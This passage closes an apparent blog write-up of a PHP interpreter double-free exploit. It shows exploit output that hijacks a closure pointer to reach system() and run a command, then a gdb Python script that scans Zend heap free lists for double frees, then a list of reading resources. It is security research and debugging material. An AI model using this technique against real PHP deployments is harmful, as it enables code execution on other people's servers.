[+] Overwriting $helper->b pointer with address of $fake_zend_closure.
[+] Triggering system.
[Detaching after vfork from child process 5972]
uid=1000(user) gid=1000(user) groupes=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),113(bluetooth),118(scanner)
Program received signal SIGSEGV, Segmentation fault.
0x0000555555934a61 in zend_objects_store_call_destructors (objects=objects@entry=0x555555ef2dd0 <executor_globals+816>) at /home/user/Documents/php-src/Zend/zend_objects_API.c:57
57 obj->handlers->dtor_obj(obj);
Thanks to you for reading, thanks to all the people who worked on memory exploitation in PHP and documented it online.
UPDATE 2022-02-28:
Detect double free automaticaly
I coded a small Python script to use within gdb
to automatically detect double
free in PHP. The code is disgusting because i’m parsing gdb
commands output,
but it works properly. The script will actually scan each free list and identify
if an address is present twice, which should not be the case except in the case
of a double free.
File: double_free_detector.py
gdb.execute("set print pretty on")
class ViewHeapFreeSlot (gdb.Command):
def __init__(self, external=0):
self.external = external
super(ViewHeapFreeSlot, self).__init__(
"view_heap_free_slot", gdb.COMMAND_USER, gdb.COMPLETE_COMMAND)
# Name: find_mm_heap
# Description: Recover zend_mm_heap's address.
# Return: (string) zend_mm_heap
def find_mm_heap(self):
result = gdb.parse_and_eval("zend_mm_get_heap()")
zend_mm_heap = result
if self.external == 0:
print(f"[i]: zend_mm_heap: {zend_mm_heap}")
return zend_mm_heap
# Name: free_slots_len
# Description: Return the number of bins in
# zend_mm_heap->free_slot's address.
# Return: (int) number_of_slot
def free_slots_len(self, zend_mm_heap):
# Calculating len of zend_mm_heap->free_slot.
result = gdb.execute(
f"print &((zend_mm_heap)*{zend_mm_heap})->free_slot", to_string=True)
zend_mm_heap_free_slot = result.split(" ")[-1].rstrip()
if self.external == 0:
print(f"[i]: zend_mm_heap->free_slot: {zend_mm_heap_free_slot}")
# Method a.
len_a = int(result.split("[")[1].split("]")[0])
# Method b.
result = gdb.execute(
f"call sizeof(((zend_mm_heap)*{zend_mm_heap})->free_slot) / sizeof(zend_mm_free_slot)", to_string=True)
len_b = int(result.split(" ")[2].rstrip("\n"), 16)
# Comparing the results of the two differents methods.
if len_a == len_b:
if self.external == 0:
print(f"[i]: zend_heap->free_slot's len parsed correctly")
number_of_slot = len_a
else:
print(f"[DEBUG]: Error while parsing zend_heap->free_slot's len")
return number_of_slot
# Name: find_mm_heap_bins
# Description: Recover first element's address of each
# bin and store the result in an array.
# Return: (array) bins
def find_mm_heap_bins(self):
zend_mm_heap = self.find_mm_heap()
zend_mm_heap_free_slot_len = self.free_slots_len(zend_mm_heap)
bins = []
for i in range(zend_mm_heap_free_slot_len):
result = gdb.execute(
f"print ((zend_mm_heap)*{zend_mm_heap})->free_slot[{i}]", to_string=True)
bins.append(result.split(" ")[-1].rstrip())
return bins
# Name: invoke
# Description: Print in a nice view the address
# of the first element of each bin.
# Return: (array) bins
def invoke(self, arg, from_tty):
bins = self.find_mm_heap_bins()
if self.external == 0:
for i in range(len(bins)):
min = ((i*8)+1)
max = ((i+1)*8)
print(f"[*]: bin {i} of object of size: {min}({hex(min)})-{max}({hex(max)}) at {bins[i]}")
return bins
class ExploreBinManualy (gdb.Command):
def __init__(self):
super(ExploreBinManualy, self).__init__(
"explore_bin_manualy", gdb.COMMAND_USER, gdb.COMPLETE_COMMAND)
def invoke(self, arg, from_tty):
print('Enter the bin to explore:')
self.bin = int(input("> "))
bins = ViewHeapFreeSlot(external=1).find_mm_heap_bins()
nexts = [bins[self.bin]]
condition = 0
while(not condition):
result = gdb.execute(
f"print (zend_mm_free_slot)*{nexts[-1]}", to_string=True)
next = result.split("=")[2].split(" ")[1].split("\n")[0]
# If we reched the end of the simple
# linked list we break from the while loop.
if next == "0x0":
break
# Detection of double free.
if next in nexts:
min, max = ((self.bin*8)+1), ((self.bin+1)*8)
print(
f"[+] Double free detected: bin {self.bin} from size {min} ({hex(min)}) to size {max} ({hex(max)}) on: {next}")
break
nexts.append(next)
print(nexts)
class DoubleFreeDetection (gdb.Command):
def __init__(self):
super(DoubleFreeDetection, self).__init__("detect_double_free",
gdb.COMMAND_USER, gdb.COMPLETE_COMMAND)
def invoke(self, arg, from_tty):
bins = ViewHeapFreeSlot(external=1).find_mm_heap_bins()
for i in range(len(bins)):
try:
nexts = [bins[i]]
condition = 0
while(not condition):
result = gdb.execute(
f"print (zend_mm_free_slot)*{nexts[-1]}", to_string=True)
next = result.split("=")[2].split(" ")[1].split("\n")[0]
# If we reched the end of the simple
# linked list we break from the while loop.
if next == "0x0":
break
# Detection of double free.
if next in nexts:
min, max = ((i*8)+1), ((i+1)*8)
print(
f"[+] Double free detected: bin {i} from size {min} ({hex(min)}) to size {max} ({hex(max)}) on: {next}")
break
nexts.append(next)
except Exception as e:
pass
ViewHeapFreeSlot(external=0)
ExploreBinManualy()
DoubleFreeDetection()
The following GIF illustrates it in action.
Resources
Here is the list of resources I have read to achieve this 1day:
- https://www.phpinternalsbook.com/index.html
- https://github.com/80vul/phpcodz/tree/master/research
- https://bugs.php.net/bug.php?id=68710
- https://bugs.php.net/bug.php?id=73092
- https://bugs.php.net/bug.php?id=81691
- https://web.archive.org/web/20200609210419/http://www.libnex.org/blog/doublefreeinstandardphplibrarydoublelinklist
- https://github.com/mm0r1/exploits
- https://github.com/0xbigshaq/php7-internals/
- https://notsosecure.com/remote-code-execution-php-unserialize
- https://www.inulledmyself.com/2015/02/exploiting-memory-corruption-bugs-in.html
- https://www.inulledmyself.com/2015/02/exploiting-memory-corruption-bugs-in_23.html
- https://www.inulledmyself.com/2015/05/exploiting-memory-corruption-bugs-in.html
- https://www.exploit-db.com/exploits/38125
- https://hackerone.com/reports/159948
- https://blog.checkpoint.com/wp-content/uploads/2016/08/Exploiting-PHP-7-unserialize-Report-160829.pdf